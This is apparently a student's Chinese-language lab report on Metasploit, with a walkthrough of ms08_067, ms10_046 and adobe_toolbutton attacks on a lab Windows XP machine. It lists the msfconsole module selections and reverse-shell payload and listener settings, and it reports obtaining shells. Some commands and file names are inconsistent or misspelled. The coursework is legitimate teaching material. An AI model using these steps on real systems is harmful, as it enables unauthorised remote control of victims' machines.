Exp5 MSF基础应用
20154302 薛师凡
一、基础问题回答
（1）用自己的话解释什么是 exploit , payload , encode.
exploit：
是破除门锁的工具以及运送间谍的载具，相当于利用漏洞偷偷打开的管道，将做好的木马病毒等顺利传输到靶机。
payload:
就是被运送的间谍，到了房子里头就可以执行各种间谍活动。简单来说就是病毒代码包装成一个可执行的文件，或者包装成指定的类型，然后通过管道传输进去后开始为我们控制靶机服务。
encode:
是间谍穿的伪装的衣服，便于间谍潜入目标针对payload进行编码，就是对它进行包装打扮，改变payload代码特征，但是不改变payload为我们所用的特征，但能对payload进行加工。
二、实践过程
本次试验共分为四个部分：
-
1.一个主动攻击实践，ms08_067
-
2.一个针对浏览器的攻击，ms10_046漏洞攻击
-
3.一个针对客户端的攻击，adobe_toolbutton
-
4.成功应用任何一个辅助模块scanner/postscan/tcp
和gather blowser_info
实验环境：
攻击机：kali：192.168.238.131
靶机：Windows：192.168.238.130
2.1主动攻击：ms08_067
先百度一下ms08_067漏洞的意思
参考学长的报告得知英文版XP才可以进行漏洞攻击
1.首先查看两个主机的IP地址
2.先msfconsole，再kali主机键入search ms08_067 查看漏洞信息
键输入use exploit/windows/smb/ms08_067_netapi,
3.然后键入show payloads查看需要的payload
此处首先从众地输入了set payload generic/shell_reverse_tcp选择病毒模块
show options查看需要的信息，进行相应设置
4.键入show targets查看适用的靶机版本，可以set target 0自动选择
5.设置好以后输入exploit进行攻击。
连接不上靶机，攻击失败
然后各种失败
然后又互相ping一下，发现WinXP可以ping通kali，但是kali却ping不通WinXP，
，果断关闭防火墙，现在可以ping通了。
再进行攻击，还是失败，于是无奈之下选择了更换病毒模块。
终于成功了！
2. 对浏览器攻击：ms10_046漏洞攻击
基本步骤还是和上面一样，先利用search ms10_046指令查看可以运用的攻击模块：
用use exploit/windows/browser/ms10_046_shortcut_icon_dllloader使用该模块，再使用show payloads查看可以供我们使用的payload：
然后查看需要设置的参数，SRVHOST填的是本地监听主机的IP地址，LHOST也是监听的IP地址，所以这里SRVHOST和LHOST都应该填攻击机的IP地址：
set LHOST 192.168.238.131
set SRVHOST 192.168.238.131
使用exploit指令执行漏洞，可以看到生成了一个url，在靶机的IE浏览器上使用该url进行访问，
又失败了几次，
换了病毒模块
在MSF终端看见漏洞执行成功：
使用sessions指令查看当前存在的会话，可以看到存在一个ID为1的会话：
使用sessions -i 1选择会话1，成功获取了靶机的shell，利用systeminfo指令查看靶机的系统信息：
3. 对Adobe的漏洞攻击：adobe_toolbutton
先使用search adobe查询和adobe漏洞有关的模块，我选择的是use exploit/windows/fileformat/adobe_toolbutton，然后使用该模块，设置回连的payload：
set LHOST 192.168.238.131
set LPORT 4302
set FILENAME 20154302.pdf
设置：
设置好相应参数后，开始实施攻击，发现在/root/.msf4/local/目录下成功生成了一个lxm.pdf文件：
use exploit/multi/handler
set payload generic/shell_reverse_tcp windows/meterpreter/reverse_tcp
然后将该文件传送到靶机上，并且在攻击机上打开监听：
将靶机中的pdf文件打开，攻击机成功获取到靶机shell：
4、辅助模块应用
辅助模块真的好多啊
这里我用了scanner/postscan/tcp模块
查看其设置的参数
设置好之后，扫描
好像是失败了
更改了设置，好像也没有用
我之后换了gather blowser_info,通过过网站访问来搜集浏览器信息的
info查看要设置的参数，设置好，这次成功了，可以看到系统的信息
三、实验体会
本次实验让我又一次认识了MSF，功能真的强大，
这次实验我们的攻击对象只是XP系统的虚拟机，比较有局限性，随着网络攻击技术的进步，我们更应该学会漏洞的扫描和分析，以及及时的去打好补丁。本次实验从第一个开始就十分不顺利，屡次失败，通过调试网络和更换病毒模块最终取得成功，总体来说还是收获颇丰，而且还磨练了自己的耐心。